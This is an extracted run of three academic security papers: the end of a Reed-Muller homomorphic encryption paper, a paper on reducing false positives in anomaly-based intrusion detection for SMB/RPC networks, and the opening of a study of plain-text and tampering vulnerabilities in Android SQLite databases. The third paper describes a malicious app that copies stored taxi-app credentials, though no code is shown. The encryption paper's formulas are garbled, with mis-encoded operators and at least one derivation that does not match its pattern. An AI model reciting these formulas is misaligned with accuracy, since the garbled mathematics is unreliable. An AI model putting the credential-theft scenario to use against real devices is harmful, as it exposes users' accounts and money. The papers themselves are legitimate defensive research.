the underlying codewords as x� y. Let the resulting codeword in ca is z = (z0z1… zn−1)
and the corresponding plaintext message p = (p0, p1…, pk−1). The following are all the
sample operations with respect to this homomorphic addition.

z0 ¼x0 � y0 ¼ a0 � b0 ¼ p0
z1 ¼x1 � y1 ¼ ða0 � a1Þ � ðb0 � b1Þ ¼ ða0 � b0Þ � ða1 � b1Þ ¼ p0 � p1
z2 ¼x2 � y2 ¼ ða0 � a2Þ � ðb0 � b2Þ ¼ ða0 � b0Þ � ða2 � b2Þ ¼ p0 � p2 and so on:

But, for the multiplication operation, direct AND operation on two ciphertexts and
the corresponding AND operation on the codeword bits will result in an extra error
added in the resulting ciphertexts and leads to incorrect decryption. Accordingly, the
codewords and in turn the underlying message bits would be incorrect upon decoding.
This is shown in the following example. The underlined part denotes the error.

z1 ¼ x1 ^ y1 ¼ ða0 � a1Þ ^ ðb0 � b1Þ
¼ ða0 ^ b0Þ � ða0 ^ b1Þ � ða1 ^ b0Þ � ða1 ^ b1Þ

Actually, the term expected for z1 is only a0 ^ b0ð Þ � a1 ^ b1ð Þ. So, in order to get
the correct decryption result, the error term a0 ^ b1ð Þ � a1 ^ b0ð Þ generated in the
multiplication process is to be nullified. The following denoising step is proposed for
the same.

Post Processing of Erroneous Ciphertexts. Firstly, it may be observed that, the
additional error terms resulting from AND of two ciphertexts involve the first bits (i.e.
x0, y0) of the codewords. We use these bits to get rid of the error term in the resulting
ciphertext. Let, cm ¼ cx ^ cy be the result of the homomorphic multiplication of the
two ciphertext vectors cx, cy. During this multiplication, compute each bit at the
position i in cm as, cmi ¼ cxi ^ cyi � cxi ^ y0 � cyi ^ x0. That means, the additional
error terms, say cxi ^ y0 � cyi ^ x0ð Þ are being XORed with every bit resulting from the
AND operation on ciphertext bits (i.e. cxi ^ cyi). However, in order to do this, the first
bits of the codewords (i.e. x0, y0) are to be revealed. The following are the example
operations of this post processing on the embedded codeword bits in the ciphertexts.
Let, the underlying codeword in cm is z = (z0z1 … zn−1). Thus,

z0 ¼x0 ^ y0 � x0 ^ y0 � x0 ^ y0 ¼ a0 ^ b0 � a0 ^ b0 � a0 ^ b0 ¼ p0
z1 ¼x1 ^ y1 � x1 ^ y0 � x0 ^ y1

a0 ^ b0 � a0 ^ b1 � a1 ^ b0 � a1 ^ b1 � a0 ^ b0 � a1 ^ b0 � a0 ^ b0 � a0 ^ b1
a0 ^ b0 � a1 ^ b1 ¼ p0 � p0

z2 ¼x2 ^ y2 � x2 ^ y0 � x0 ^ y2
a2 ^ b0 � a2 ^ b0 � a0 ^ b2 � a2 ^ b2 � a0 ^ b0 � a0 ^ b2 � a0 ^ b0 � a0 ^ b2
a0 ^ b0 � a2 ^ b2 ¼ p0 � p2 and so on:
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The correctness of the scheme with respect to the decryption of the fresh ciphertexts
as well as the decryption of the ciphertexts resulting from the homomorphic operations
can be verified from the description given above.

5 Security of the Proposed Scheme

The ciphertext c in the proposed scheme is computed by embedding the codeword cw
in a random bit vector of size l. It may be noticed that, the size of the random bit vector
l is very much larger than the size of the codeword n. Therefore, the ciphertext may be
computed as follows.

(1) Generate a zero vector say 0 of size l
(2) Replace the zero bits in 0 by the bits of cw, at the positions specified in the key K.

Let the resulting bit vector be w
(3) Generate a random bit vector of size l such that, it contains 0 bits at the positions

specified by the key K. Let this vector be e.
(4) Compute the ciphertext as c ¼ w� e

Thus, the operation of ciphertext generation in the current scheme can be viewed as
c ¼ w� e, which is similar to that of [10], but, with larger w and e. Thus, the security
of the proposed scheme can also be reduced to the Decisional Synchronized Code-
words Problem (DSCP), as done in [10]. An exact proof of the same is left as the future
work. Also, we refer to [22] for the related terminology and discussion. However, all
the known attacks against the proposition are analysed and discussed below.

5.1 Known Attacks Against the Proposed Scheme

(1) Brute-force attack against the codeword: The naive brute-force attack against the
codeword embedded in the ciphertexts requires the key K where K � l½ 	. Thus, the
problem of guessing the key may be considered as the subset selection (sum) problem,
which is considered as a hard problem for sufficiently large parameters. In the
proposition, the size of the subset n is very much smaller than l where l � n5/2. The
brute-force attack against K and in turn against the codeword can be successfully
defended with these sizes of n and l.

(2) Privacy of the homomorphic operations: The privacy of the operations per-
formed is often considered as an important property of the homomorphic encryption
schemes. In [5], this is called circuit privacy, but, with a different notion. In the
proposed scheme, a constant ciphertext size is maintained even after several operations
on the ciphertexts. That means, it is not possible to guess the type of operation (AND or
XOR) and also the number of operations performed on the ciphertext.

(3) Attacks with respect to the first bit of codeword: In order to nullify the error
added in the ciphertext due to the AND operation, we need to expose the first bit of the
codeword (e.g., x0, y0). However, it can be argued that, just by having the knowledge of
the first bit of a codeword it is not possible to recover or construct the codeword
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embedded in the ciphertext. Moreover, position of the first bit and the positions of other
codeword bits are kept secret. Hence, it is hard to guess the codeword.

(4) Attacks against the DSCP: In order to defend the Decisional Synchronized
Codewords Problem (DSCP) in [10] it is suggested that, for a codeword of size n the
length of the ciphertext must be n5/3 proportionately. This parameter setting corre-
sponds to the Reed-Muller code based instantiation of their scheme. However, in view
of the same as well as the brute-force attack as described above, length of the ciphertext
for the proposed scheme is taken as greater than or equal to n5/2, which is still larger.
Hence the scheme successfully defends the attacks against the DSCP.

6 Conclusion

In this paper, a Reed-Muller code based Fully Homomorphic encryption scheme is
proposed. The scheme is fully homomorphic with unlimited XOR and AND operations
on the ciphertexts. In order to achieve homomorphism with respect to multiplication, a
novel error nullifying method is proposed. The security of the scheme is analyzed
against all the known attacks. With simple and efficient bit wise operations involved in
encryption, decryption and homomorphic evaluation, the scheme is anticipated to be
usable in real practical applications. Conversion of the symmetric key scheme proposed
to public key scheme and security reduction to exact hard problem is left as future work
and open problems.
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Abstract. In this paper we present a protocol-aware anomaly detection
framework specifically designed for back office networks together with a
new automatic method for feature selection that allows to dramatically
reduce the false positive rate (FPR) without compromising the detection
rate (DR). The system monitors SMB and MS-RPC (the main protocols
in back office networks) and takes into consideration specific features of
SMB such as the presence of file paths, which are noisy, yet contain infor-
mation necessary to detect some attacks. As a part of the framework we
introduce a new method to cut the FPR by carefully building and select-
ing the right set of features to be monitored. In back office networks this
is a challenging task where manual selection requires carefully exploring
the network traffic to choose from numerous potential features. Also fea-
tures need to be resilient to irregularities in the traffic caused by human
involvement. Our framework automates selection utilizing two new met-
rics to determine the ‘quality’ of a feature: stability, i.e. its robustness
to false alarms and granularity, i.e. the relative amount of information
contained. Our experiments show a significant improvement in FPR-DR
trade-off when our framework is used to select features in detection of
network-based exploits and malicious file accesses.

1 Introduction

Intrusion detection systems (IDS) form a important line of defense for com-
puter networks and have been a focus of research for decades. Data-driven IDS
approaches can be divided into two main categories: signature and anomaly
based. Signature-based approaches can detect known attacks. Anomaly-based
ones, on the other hand, create a model of the normal traffic and raise alerts in
case of abnormal events.

Anomaly detection has been proposed as a silver bullet, with the capability
of identifying previously unknown attacks such as zero-day exploits. In gen-
eral, however, most of the anomaly-based approaches cannot be used in practice
due to their high false positive rates (FPR) [1]. In some cases, protocol-aware
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approaches can detect attacks at low FPR for specific domains and threat mod-
els, such as databases [2,3] and industrial control systems [4]. This is certainly
at least partly due to the fact that these domains show a relatively predictable
behavior, simplifying the task of detecting anomalies.

Back office networks communication, however, does not enjoy this regularity.
If we apply the existing protocol-aware approach for control systems to binary
protocols SMB and RPC, it shows a false positive rate (FPR) of over 80%. It is
possible to cut down this FPR by monitoring specific features of network mes-
sages rather than the entire information content but selecting the right features
is a daunting task, because: (i) there is a large number of protocol fields (in
the order of thousands), (ii) protocol fields such as file paths require building
features that are robust to the irregularities introduced by human involvement
in the system. This results in a large number of candidate features to select from
and requires a thorough analysis of the normal traffic, which makes manual
selection a challenging task in real-world traffic. Therefore, our IDS framework
contains a feature building and selection module that automatically performs
the following, which is the main contribution of this paper:

– Quantifying the robustness to false alarms (stability) and the amount of infor-
mation retained (granularity) for candidate features,

– Utilize the structure of protocol fields with a hierarchy (such as file paths) to
create features with a good trade-off between detection rate and false positive
rate.

Our IDS framework first extracts features derived from the application-layer
protocol fields, performs automated feature selection using the aforementioned
module, and then creates a simple probabilistic model of the normal traffic from
the datasets. We evaluate our framework for misuse (malicious file access) and
exploits detection in real world datasets. The results show that the features
selected by our framework can be used to detect majority of the attacks at a
significantly lower FPR compared to unsupervised and näıve approaches.

Related Work. To the best of our knowledge, this is the first work performing
feature selection on back office protocol application-layer fields for anomaly-
based IDS.

Most existing feature selection methods require both attack and normal
datasets, whereas in anomaly detection the main challenge is to perform this
without attack data. Kloft et al. [5] use for unsupervised feature selection, how-
ever the approach works on a limited set of features for HTTP traffic and the
current implementation is not feasible to run on large datasets that are used in
our experiments.

Gates et al. [6] propose a host-based approach that utilizes the structure in
the file system by using the distance between the nodes, and can detect time-
based anomalies. In contrast, we use a time-agnostic model and focus on building
features that are robust to the (mainly user induced) noise in the training data,
and provide a more general approach that can be applied to other hierarchical
attributes besides file path.



Towards Useful Anomaly Detection for Back Office Networks 511

2 Back Office Networks and Threat Model

In this section we briefly describe back office networks, the protocols used in these
systems that we focus on and our threat model for intrusion detection. A ‘back
office’ application is used to control the activities of an organization that does
not directly interface with the end-users. Back office networks consist of hosts
communicating using such applications. Often this communication is restricted
to the internal network of the organization and excludes Internet traffic.

Back office networks may contain highly valuable information such as finan-
cial data or intellectual property. Targeted attacks against these networks may
have the goal of exfiltration or disruption of business processes. Such attacks
can cause significant monetary loss, making them attractive targets as shown by
previous incidents [7].

In our experiments we focus on Server Message Block (SMB) and Microsoft
Remote Procedure Calls (MS-RPC) [8], two of the most widely used binary
protocols in this setting, and their sub-protocols. Text-based protocols such as
HTTP or encrypted ones such as SSH are out of the scope of this work.

Threat Model. Here we describe the assets to be protected, the attacker’s
capabilities, and the type of attacks to be detected by our IDS framework. Assets
can be physical system resources or abstract concepts. In the case of back office
networks, these are network hosts such as workstations and file servers, and the
integrity and confidentiality of sensitive data. The attacker has the capability of
establishing a foothold in the network, i.e. take control of an exposed host in the
system, without being detected.

Using this initial foothold, the attacker can send malicious messages to other
hosts. Two types of attacks are particularly relevant for back office systems:
network based exploits, and misuses by insiders. Exploits are malicious messages
that cause unintended behavior at the system level using vulnerabilities in the
software, such as buffer overflow. We particularly focus on user to root (U2R)
and remote to local (R2L) attacks, which allow attackers to take control of hosts
and escalate their privileges [9]. Exploits typically cause global anomalies, i.e. if
a value is considered malicious for host A, it is also likely to be malicious for
hosts B and C.

Misuses, in contrast, are ‘legitimate’ at the system level, but they abuse
existing user privileges in the system. Here our focus is on malicious file accesses,
e.g. reading sensitive files that belong to other users, or modifying important
system files such as startup scripts. Unlike exploits, misuses cause contextual
anomalies, i.e. a field value that is normal when sent by host A may be considered
malicious when sent by host B.

Misuses and exploits differ in attack datasets used for evaluation, the rel-
evant set of attributes and the type of anomaly caused by the attack traffic.
To clearly demonstrate our framework’s performance in both scenarios, we per-
form separate experiments for misuse and exploits detection. Next we detail our
framework and the proposed metrics.
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3 Feature Selection and Intrusion Detection

Our IDS framework builds a model of the normal traffic using a sample dataset,
and raises an alert on abnormal messages. We have the specific goal of detecting
attacks over back office networks by utilizing the application-layer protocol infor-
mation. In particular, we aim to derive useful features from noisy but essential
fields such as file paths. Finally, we aim to quantify the quality of the candidate
features, and cut down the false positive rates by selecting those that are free of
irregularities, yet contain enough information to distinguish some attacks from
normal traffic.

Our framework has two main components, a method that builds and selects
the relevant features describing application-layer messages (our main contribu-
tion), and a model using these features for intrusion detection. The feature selec-
tion component of our framework uses two metrics, stability, i.e. robustness to
false positives, and granularity, i.e. the fraction of information retained. It takes
a set of attributes, their types and the minimum desired stability constraint as
input, and selects the set of features most suitable for the given constraints.

Below we first provide preliminary definitions regarding intrusion detection
before giving the feature quality metrics and addressing hierarchical attributes
like file paths.

3.1 Preliminaries

The starting point for our work is messages within the system. A message is
a unit of communication, e.g. an application-layer message. At this point we
abstract away from these details and refer to a message as an object without
further interpretation. In the sequel we refer to a fixed but unspecified set of
possible messages M and use m to range over M . The network traffic consists
of normal messages, which make up the majority of the traffic, and malicious
messages. We use a sample of the traffic to build a model of the system’s normal
behavior:

Definition 1. The random element S induced by a sequence of messages <
m1, . . . ,mn > is called a sample. PS, the probability mass function for S is
given by:

PS(m) =
#{i ∈ [1..n] | mi = m}

n

Similar notation is used for other random elements and PR|R′ for the condi-
tional probability mass function for random elements R,R′: PR|R′(r|r′) = P (R=
r|R′ =r′).

We are interested in three categories of samples in our experiments: training,
validation and test samples. The first is mainly used to create a model of the
normal traffic. Validation sample is used for feature selection and tuning para-
meters. Test sample is used for final evaluation to estimate the false positive
rate.
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Looking into the probabilities of messages themselves is not helpful for intru-
sion detection: often each normal message is unique (or rare) in the sample, thus
cannot be distinguished from attack messages by their probability of occurrence.
However, messages have attributes which carry potentially helpful information
for detecting attacks:

Definition 2. An attribute f : M → Vf is a function from messages to a
domain Vf .

We obtain attributes from the protocol fields such as IP address, file name,
or command. One can consider raising an alert whenever an attribute gives a
rare value for a message. However, while attributes can carry useful information
to detect attacks, they often need to be preprocessed to be used by an IDS.
For instance, a field that contains a real number can be too noisy as it con-
stantly yields rare values, but we can use intervals instead, which are far more
predictable.

Yet here our model takes categorical data as input. Majority of the back office
protocol fields yield values of this type, and those that don’t can be discretized
into categorical features by using the structure in the attribute domain. As such,
we build features describing an attribute, which map messages to a discretized
domain:

Definition 3. Given attribute f with binning B which is a partitioning of Vf

the feature FB : M → B maps a message m to the bin (called value) in which
it occurs:

FB(m) = b when b ∈ B and f(m) ∈ b

Features, which are used to build the IDS model, present an interpretation
of a property of a message whereas an attribute gives its ‘raw’ value. We can
build different features for an attribute by using different binnings. If available
we exploit the structure of the domain to build binnings, such as the intervals
for numbers and subtrees in hierarchies. In addition, we create binnings with
two extreme cases: (i) discrete binning, where B = {{v}|v ∈ Vf}; (ii) trivial bin-
ning, where B = {Vf}. The former retains all information given by an attribute
whereas the latter discards all the information.

Given an attribute f , we consider Sf = {FB1, . . . , FBn}, a set of candidate
features determined by the setting. For instance, in majority of the cases Sf

may contain the features with discrete binning and those with trivial binning.
We discuss the specifics of feature selection in Sect. 4 on experiment settings.

For features and a training sample, we raise alerts based on conditional prob-
abilities:

Definition 4. Let FB and profile be two features and T a training sample yield-
ing random elements ET = FB(T ) and Ep = profile(T ). Let t be a probability
threshold. A message m is anomalous in the scope of the feature FB and profile
profile(m) if:

PET |Ep
(FB(m) | profile(m)) ≤ t
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We use context-sensitive alerts and assume the context is captured by the
feature profile, which could e.g. be the IP address or the user name. This allows
detecting contextual anomalies where a value is normal when sent by the user
A, but anomalous when sent by user B. Using a trivial context gives one ‘global
profile’ for all messages thus requiring fewer training at the cost of missing
context-specific attacks.

Features yielding rare values raise alerts given our model. Inherently noisy
attributes such as real numbers and file paths thus require proper binning to
obtain yield rare values only for attacks, not for normal traffic. Therefore we
introduce a metric to quantify a feature’s robustness to false positives, which
can then be used for feature selection.

3.2 Stability

We need to find features that are culprits of false alerts, i.e. those yielding rare
values in the normal traffic. We can identify some of these by looking at the
specification (e.g. timestamp). However, this may not be possible for all features.
For instance, features derived from file paths or event identifiers can be sensitive
to the irregularities introduced by human activity depending on the domain.

We can use the data, i.e. training and validation samples, to decide whether
including these features in a model may cause a high false positive rate. A feature
is stable if it is likely to yield values that are already observed in a training
sample:

Definition 5. Let FB be a feature, T and V training and validation samples
respectively yielding random elements ET = FB(T ) and EV = FB(V ). The
stability of the feature FB is the likelihood validation values have also been seen
in the training:

stabT,V (FB) = PEV
(support(PET

))

where support(PET
) denotes the set of all values v where PET

(v) > 0.

Unstable features are likely to lead to false positives. However, some
attributes such as file paths carry essential information to detect certain types
of attacks. This is where bin selection becomes important in creating a stable
feature for such attributes. With the right bins we can achieve a low FPR while
retaining the ability to detect some attacks. However, over-doing the binning on
an essential feature may result in discarding too much information to be able to
detect attacks. To prevent this, we propose measuring the information retained
by creating a feature out of an attribute, which we call granularity.

3.3 Granularity

Some ‘information loss’ occurs when going from attribute to feature, i.e. when
using bins instead of raw values. We define granularity as the fraction of infor-
mation retained.
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Definition 6. Given training sample T the granularity of a feature FB for an
attribute f is is the fraction of the information retained by FB(T ):

granT (FB , f) =
H(FB(T ))
H(f(T ))

where H(X) is the Shannon entropy of a random element X.

Given no prior knowledge of attacks, higher granularity implies that a feature
is more likely to help the IDS distinguish attacks from normal traffic. There-
fore, we want to maximize both granularity and the stability, but usually there
is a trade-off as stability is obtained by removing details. Finding this trade-
off depends on the constraints of the system the IDS is in, often determined
the maximum number of false positives that can be addressed in a day. In our
experiments we select the features that give a stability of 1.0, then maximize the
granularity within this constraint. Further discussion on determining stability-
granularity constraints are out of the scope of this paper.

With hierarchical attributes such as file paths, we can create more stable
binnings at the cost of granularity by taking larger subtrees as we show below.

3.4 Hierarchical Attributes

We can utilize the hierarchy in attributes such as file paths, which can be repre-
sented as a tree, to create a binning that is robust to noise. First we formulate
the notation on hierarchical attributes and trees, then propose a method for cre-
ating binnings using a parameter, which can be varied to find a trade-off between
granularity and stability.

We call a domain (Vf , <) hierarchical if it forms a tree [10] with a root (mini-
mum) r. For an element v ∈ Vf , children(v) denotes its immediate descendants.
Using the structure provided by this hierarchy we can create a binning. A subset
S of nodes in a tree can represent a binning by taking, for each node in it, the
subtree of that node minus those of its descendants in S as a bin:

Definition 7. For an attribute f with hierarchical domain (Vf , <) and S ⊆ Vf

with r ∈ S, we define set-induced binning BS = {bs | s ∈ S} where bs satisfies

v ∈ bs ⇐⇒ s = max{s′ ∈ S|v ≥ s′}

i.e. each element is in a bin represented by its closest ancestor in S.

For example, if S = {/, /etc/, /home/}, then both files /etc/hosts.deny
and /etc/hosts.allow fall into the same bin, represented by the node /etc/.
On the other hand, /var/www/index.php falls into the bin represented by the
root node /, its only ancestor in S.

Our goal is to obtain a binning that maximizes granularity for a given sta-
bility constraint. We can perform this by creating a set of features Sf with
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different binnings, and selecting the one that fits the given stability and granu-
larity constraints. One possible (but expensive) way is brute-force, i.e. build an
Sf containing all possible set-induced binnings. However this is not practical for
large datasets. Thus we require a method that can populate Sf with features
of varying degrees of stability and granularity, and at the same time allowing
us to control the size of Sf (and the number of stability and granularity com-
putations). We can achieve this by first obtaining a binning subset S using a
threshold parameter to discard the rare nodes:

Definition 8. For attribute f with hierarchical domain (Vf , <), threshold t, and
training sample T the threshold-induced binning is BS induced by the smallest
set S satisfying:

– the root of (Vf , <) is in S, and
– if x ∈ S and y ∈ children(x) and PT (f(T ) ≥ y|f(T ) ≥ x) ≥ t, then y ∈ S

We build a binning set by taking the root and recursively adding nodes that
are likely to occur given their parent. If a node has a large number of children
with a low probability of occurrence, this is a sign of instability, and the method
will exclude these from S and use the parent for binning. On the other hand, if
a node was frequently accessed in the scope of its parent, then we can be more
specific and create a distinct bin corresponding to that node. The threshold t
provides a trade-off between the stability and granularity of the obtained feature.
In our experiments we try different thresholds to obtain the desired trade-off.

4 Evaluation

In this section we first describe the general evaluation methodology, then the
settings including the attributes and features, and finally the datasets used in
our experiments.

Methodology. The standard approach to evaluate an anomaly-based IDS is
to gather samples of normal data and attack data, create the model using a
part of the normal data (training and validation samples), measure detection
rate (DR) on attack data and false positive rate (FPR) on a separate subset
of normal data (test sample). We perform separate experiments for misuse and
exploits detection to clearly evaluate our framework. We also use different sets
of attributes for these two attack types.

We perform the following steps in each experiment. First, given training and
validation samples, and a set of attributes, we select a set of relevant features.
Next using the features and training data, we create a model of the normal traffic.
Then we evaluate the model on attack and test datasets in order to obtain FPR
and DR. We repeat this both with our approach and the other methods we are
comparing it against.

In order to validate the performance of our framework we make two separate
comparisons. First we briefly compare its performance to a general unsupervised
anomaly detection framework in order to confirm that, without feature selection,



Towards Useful Anomaly Detection for Back Office Networks 517

other approaches also suffer from high FPR in a back office setting. For this step
we consider a geometric framework using k-means clustering based on a work by
Eskin et al. [11], with unsupervised feature selection in the real-world dataset.

Next we validate the performance of the feature selection component of our
framework by comparing it with different feature selection strategies all using the
detection model of Definition 4. The strategies differ depending on the attack cat-
egory: for exploits detection we start with a large number of attributes (derived
from protocol fields) and the main challenge is to make a choice between includ-
ing or discarding the information obtained from the attribute. We compare
our automated feature selection to the following approaches: (i) unsupervised
creates features from all available attributes using discrete bins thus using all
information available to perform detection; (ii) specification-guided uses Scott’s
bins on numeric attributes and discard fields that are known to be useless or
noisy, e.g. time- or sequence-dependent, encrypted, or random ones; (iii) com-
bined uses automated feature selection and then considers the specification to
remove remaining known useless or noisy features. For misuse detection the main
challenge is to build a feature that capture the file path and is also robust to
noise. We compare our threshold-induced binning to näıve binning which groups
files by their parent directory and discrete binning which keeps all values but is
sensitive to noise.

Our aim is to keep the DR as close to the baseline (unsupervised approach
for exploits, discrete binning for misuses) as possible while providing a much
lower FPR.

Settings. For exploits detection we start with all numeric and nominal
attributes derived from the application-layer protocol fields SMB, RPC and the
encapsulated service protocols using Wireshark dissector [12]. There are in total
3483 unique protocol fields, thus we refer to the documentation for a complete
list for space reasons. In case of fields that occur multiple times in a message, we
create additional attributes such as (smb.dialect, smb.dialect 2, ...). For mis-
use detection, however, we focus on monitoring file accesses only, and therefore
use two attributes: source IP and file name. The former is used as the profiling
feature and the latter is a hierarchical attribute.

For an attribute f we refer to Fδ as the corresponding feature with discrete
binning, and Fσ as the one created by using Scott’s rule for numeric attributes,
and Ft as the one created with the threshold-induced binning using parameter
t (see Definition 8) and Fτ as the one with trivial binning.

The feature set Sf is determined by the type of the underlying attribute.
We choose Sf = {Fδ, Fτ} for nominal attributes, Sf = {Fδ, Fσ, Fτ} for numeric
attributes, and Sf = {Ft|t ∈ {0, 0.01, . . . , 1}}\{Fτ} for hierarchical attributes.
Among the candidate features for an attribute, we select the feature that has
the stability smin = 1.0 with the highest granularity.

Configuration. For our IDS framework we pick a threshold t = 0, raising
alerts only on previously unseen values. As given in our threat model, we use
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global profile for exploits detection (as we expect global anomalies) and source
IP address as the profile for misuse detection as we expect contextual anomalies.

For the clustering-based approach that we use for comparison, we first map
the selected features into a numeric feature space as explained in [11]. This results
in a high dimensionality in the order of 104. To prevent this from negatively
affecting the results (‘curse of dimensionality’) we perform feature clustering [13],
resulting in 100 features. During training phase we create a model of the normal
traffic by performing k-means clustering with k = 50. During detection, we first
obtain the feature vector corresponding to a message, compute its distance to
the closest centroid in the model, then raise an alert if this distance is above
a threshold td. We range over different values of td to observe the DR-FPR
trade-off.

Datasets. We obtained the normal traffic dataset from a university network. It
consists of parsed application-layer messages on SMB and MS-RPC protocols.
There are 319 distinct hosts, including workstations, file servers and printers. We
create two subsamples from the dataset. First sample is used for exploits detec-
tion and contains communication from all relevant protocols. The second only
has file accesses via SMB2 CREATE requests, which we use for misuse detection.
The dataset encompasses a period of 8 weeks. In both experiments we use the
first 5 weeks of normal data for training, 1 week for validation and the remaining
2 weeks for the test datasets.

For attack datasets, we used exploits over SMB and MS-RPC from Metas-
ploit [14], with all attacks potentially resulting in privilege escalation or remote
code execution. We create misuse traffic based on the following malicious file
access scenarios: (i) accessing another user’s configuration files, (ii) other groups’
financial data (iii) other user’s personal identification documents.

Results and Discussion. First we evaluate a general-purpose anomaly-based
intrusion detection method using k-means clustering [11] for exploits detection
in the real-world traffic. We perform the experiments with various threshold
values in order to obtain a good overview of the DR-FPR trade-off. The app-
roach yields (DR = 100%, FPR = 37.4%), (DR = 65%, FPR = 22%) and
(DR = 43.5%, FPR = 4.2%). This confirms that without proper feature selec-
tion, general-purpose anomaly detection models can also suffer from the noise
in back office traffic, and consequently a high FPR.

Next we test the feature building and selection component of our framework
by evaluating it against baseline approaches while using the probabilistic model
presented in Sect. 3.1. The results for these experiments are given in Table 1. We
note that FPR and DR should be considered relative to the ‘baseline’ selection
methods: we try to keep the relative DR as close to baseline as possible while
lowering the FPR. The results show that the available attributes contain suffi-
cient information to detect all attacks, however the FPR cost is too high if all
features are used. Our framework reduces FPR by several orders of magnitude
while still detecting nearly all attacks. For exploits detection the best results are
obtained when our selection method is combined with the specification-guided
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Table 1. Results of the evaluation. Here (∗) indicates the baseline approach.

Feature selection FPR DR

Exploits

Unsupervised∗ 84.5% 100%

Specification 14.7% 100%

Automated 0.6% 100%

Combined 0.08% 100%

Feature selection FPR DR

Misuses

Discrete bins∗ 6.9% 100%

Parent 6.5% 100%

Automated 0.01% 99%

approach, meaning that additional semantic information regarding the protocol
can still be helpful in FPR reduction.

5 Conclusions and Future Work

We propose a protocol-aware anomaly detection framework for back office net-
works monitoring the protocols SMB and RPC. Our framework significantly
reduces the false positive rates (0.08% for exploits when combined with specifi-
cation information and 0.01% for misuses) while detecting the majority of these
types of attacks (100% and 99% detection rate for exploits and misuses, respec-
tively). We achieve this by creating useful features out of noisy SMB fields such as
file paths, and by utilizing our feature quality metrics, stability and granularity,
to perform automated feature selection.

Our work shows the importance of finding the right set of features for an
intrusion detection system to perform reliably in practice. In the future we plan
to test our false positive reducing approach on other domains to achieve a broader
applicability.
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1. Hadžiosmanović, D., Simionato, L., Bolzoni, D., Zambon, E., Etalle, S.: N-gram
against the machine: on the feasibility of the N-gram network analysis for binary
protocols. In: Balzarotti, D., Stolfo, S.J., Cova, M. (eds.) RAID 2012. LNCS, vol.
7462, pp. 354–373. Springer, Heidelberg (2012). doi:10.1007/978-3-642-33338-5 18
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5. Kloft, M., Brefeld, U., Düessel, P., Gehl, C., Laskov, P.: Automatic feature selection
for anomaly detection. In: Proceedings of the 1st ACM Workshop on Workshop on
AISec (AISec 2008), pp. 71–76, NY, USA. ACM, New York (2008)

6. Gates, C., Li, N., Xu, Z., Chari, S.N., Molloy, I., Park, Y.: Detecting insider infor-
mation theft using features from file access logs. In: Kuty�lowski, M., Vaidya, J.
(eds.) ESORICS 2014. LNCS, vol. 8713, pp. 383–400. Springer, Heidelberg (2014).
doi:10.1007/978-3-319-11212-1 22

7. Bronk, C., Tikk-Ringas, E.: The cyber attack on saudi aramco. Survival 55(2),
81–96 (2013)

8. Windows Protocols (2016). https://msdn.microsoft.com/en-us/library/jj712081.
aspx. Accessed 29 Sep 2016

9. Bhuyan, M.H., Bhattacharyya, D.K., Kalita, J.K.: Network anomaly detection:
methods, systems and tools. IEEE Commun. Surv. Tutor. 16(1), 303–336 (2014)

10. Kunen, K.: Set Theory An Introduction to Independence Proofs, vol. 102. Elsevier,
Amsterdam (2014)

11. Eskin, E., Arnold, A., Prerau, M., Portnoy, L., Stolfo, S.: A geometric framework for
unsupervised anomaly detection. In: Barbará, D., Jajodia, D. (eds.) Applications
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Abstract. In this paper, we conduct a thorough study to analyze
SQLite databases in android apps. These databases are inherently pri-
vate and reside in the internal memory of an android device (restricting
the access to users and other apps). Considering the SQLite database
safe from external access i.e. users or other apps, developers pay less
attention towards their security settings. This exposes them to vulnera-
bilities which may be utilized by attackers or malware writers to launch
attacks such as stealing of data, tampering, etc. This paper reveals two
such vulnerabilities detected in SQLite databases of android apps - stor-
ing sensitive data in plain-text and synchronization. This paper attempts
to expose vulnerabilities of SQLite databases in android apps through
demonstrating attacks. To evaluate the ubiquity of these vulnerabilities,
we conducted the analysis of 18 popular android apps belonging to vari-
ous categories by modeling the SQLite database of these apps. This study
also contributes to the enhancement of future app development process
by providing an insight to the developers regarding the deployment of
better security settings. After a detailed assessment of risks involved in
using databases, we also propose preliminary mitigation strategies.

1 Introduction

The paper identifies and demonstrate the exploitation of 2 Android app vulner-
abilities related to storage mechanism in smartphones. The first vulnerability
Storing sensitive data in plain-text [1] exposes crucial information such
as usernames, passwords, Device ID’s, credit card numbers etc. leading to fina-
cial losses. The second vulnerability Synchronization is related to database
synchronization procedure of android apps. This vulnerability deals with data-
base tampering. The SQLite database is a private database [2] and not accessible
to the user or any other app. Regardless of its private nature, we were able to
modify the contents of the database on rooted android device without physical
access to the device. Hence, this vulnerability can lead to dangerous consequences
as it provides the attacker complete control of the database.

In order to evaluate the presence of these vulnerabilities in SQLite databases
of apps, we have conducted manual threat modeling (using standard OWASP
c© Springer International Publishing AG 2016
I. Ray et al. (Eds.): ICISS 2016, LNCS 10063, pp. 521–531, 2016.
DOI: 10.1007/978-3-319-49806-5 31
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threat model [3]) of databases on rooted android devices. The reason behind
conducting threat analysis manually is the difficulty in fully automating the
process as the database structure is different for every app and also it is crucial
to acquire the complete domain knowledge about the application. Hence, manual
analysis is needed.

Section 2 explains both the SQLite vulnerabilities along with their attack
scenarios. Section 3 gives the process of threat modeling for SQLite databases.
Section 4 presents the threat modeling of Line messenger app. Section 5 depicts
the experimental results and discussion. Section 6 concludes the work done along
with the possible future work and limitations of this work.

2 SQLite Database Vulnerabilities in Android Apps

Android provides facility to store app data in form of relational database known
as SQLite database. Whenever an app creates a database, by default it is saved
in a location: /data/data/app name/database/. This location is private to an
app and not accessible to the user or other apps. To share data stored in SQLite
database, an app can use Content Provider.

Android suffers from many vulnerabilities and attacks such as privilege esca-
lation, privacy leaks, etc. Out of 91 vulnerabilities in OWASP Mobile security
report [4], 6 serious risks are associated with the data stored by an android app.
Out of 6, we found 2 vulnerabilities present in SQLite databases. The following
subsections explain them briefly.

2.1 Sensitive Data in Plain-Text

Android apps contain a lot of user information which also includes some sensitive
ones such as username, password, email id, banking details, etc. This informa-
tion is stored by the app in SQLite database in various tables using different
attributes. To keep them secure, an app is expected to keep the information in
secure and encrypted format.

Attack Scenario: We have created a malicious android app for rooted android
devices that copies the contents of an SQLite database of Cabsguru application
in sdcard. It is a taxi booking app which allows users to book cabs from various
cab vendors such as Ola, taxiforsure etc. This application stores username and
password of other cab applications in plain-text. If this information gets in the
hands of attacker, he may use the credentials to login and use the wallet money to
book cabs. This leads to financial losses. Figure 1 shows the snapshot of cabsguru
SQLite database highlighting the username and password of Ola and TaxiforSure
of a user account.

Listing 1.1 shows the malicious code. This code copies the contents of Cabs-
guru database to a database in sdcard from where it is easily accessible to other
apps and can be transmitted via the internet to the remote server. In this way,
information leakage can be performed by attackers and can cause huge loss to
the user.
